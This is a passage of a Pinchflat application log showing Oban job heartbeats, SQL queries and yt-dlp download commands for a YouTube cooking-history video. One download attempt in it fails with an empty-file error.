{"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:20.580 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:50.581 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.218 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:20.582 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:50.583 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.219 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:20.585 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:50.586 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.220 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:20.587 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:50.588 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.221 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:20.589 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:50.591 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.222 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:20.592 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:50.593 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.223 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:20.595 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:50.596 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.224 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:20.597 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:50.598 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.225 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:20.600 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:50.602 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.226 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:20.603 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:50.604 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.227 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:20.605 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:50.606 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.228 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:20.607 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:50.608 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.229 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:20.609 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:50.610 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.231 [info] {"source":"oban","duration":444,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:20.611 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:50.612 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.231 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:20.613 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:50.614 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.232 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:15.764 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1775013795764325092,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:23:15.764 [debug] QUERY OK source="media_items" db=0.2ms idle=1240.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 23:23:15.765 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:23:15.765 [debug] QUERY OK source="sources" db=0.3ms idle=1008.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:23:15.765 [debug] QUERY OK source="media_profiles" db=0.1ms idle=241.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:23:15.766 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 23:23:15.766 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 23:23:15.767 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:23:15.767 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:15.767 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:15.767 [debug] Running yt-dlp command for action: get_downloadable_status 23:23:15.768 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:15.768 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:15.768 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:15.768 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/8f/718f460f9582a9743f53645da7d300cbfe0445809b7004296a866450fa95e308.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:23:19.656 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/8f/718f460f9582a9743f53645da7d300cbfe0445809b7004296a866450fa95e308.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:23:19.657 [debug] Running yt-dlp command for action: download 23:23:19.657 [debug] QUERY OK source="settings" db=0.1ms idle=896.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:19.657 [debug] QUERY OK source="settings" db=0.1ms idle=133.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:19.657 [debug] QUERY OK source="settings" db=0.0ms idle=134.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:23:19.658 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f2/d2/f2d2849d7daf3daa74578fbda7eff04823d4278a5866e978022ebc16cc05924f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:23:20.615 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:50.616 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.233 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:20.617 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:50.619 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.234 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:20.621 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:50.622 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.236 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:20.623 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:50.624 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.236 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:20.625 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:50.627 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.238 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:05.808 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f2/d2/f2d2849d7daf3daa74578fbda7eff04823d4278a5866e978022ebc16cc05924f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 23:28:05.808 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 23:28:05.809 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":290044469,"event":"job:exception","queue_time":587262,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:28:20.628 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:50.629 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.239 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:20.631 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:50.632 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.239 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:20.633 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:50.634 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.240 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:20.635 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:50.636 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.241 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:20.637 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:50.638 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.242 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:20.639 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:50.641 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.244 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:20.642 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:50.643 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.244 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:20.644 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:50.645 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.246 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:20.646 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:50.647 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.246 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:20.649 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:50.650 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.247 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:20.651 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:50.652 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.248 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:20.653 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:50.655 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.249 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:20.657 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:50.658 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.250 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:20.659 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:50.660 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.251 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:20.661 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:50.662 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.252 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:20.663 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:50.664 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.253 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:20.665 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:50.667 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.254 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:20.669 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:50.671 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.255 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:20.672 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:50.673 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.256 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:20.674 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:50.675 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.257 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:20.676 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:50.678 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.258 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:20.679 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:29.580 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1775015369580726074,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:49:29.581 [debug] QUERY OK source="media_items" db=0.2ms idle=1057.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 23:49:29.581 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:49:29.581 [debug] QUERY OK source="sources" db=0.2ms idle=1057.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:49:29.582 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:49:29.582 [debug] QUERY OK source="media_items" db=0.2ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 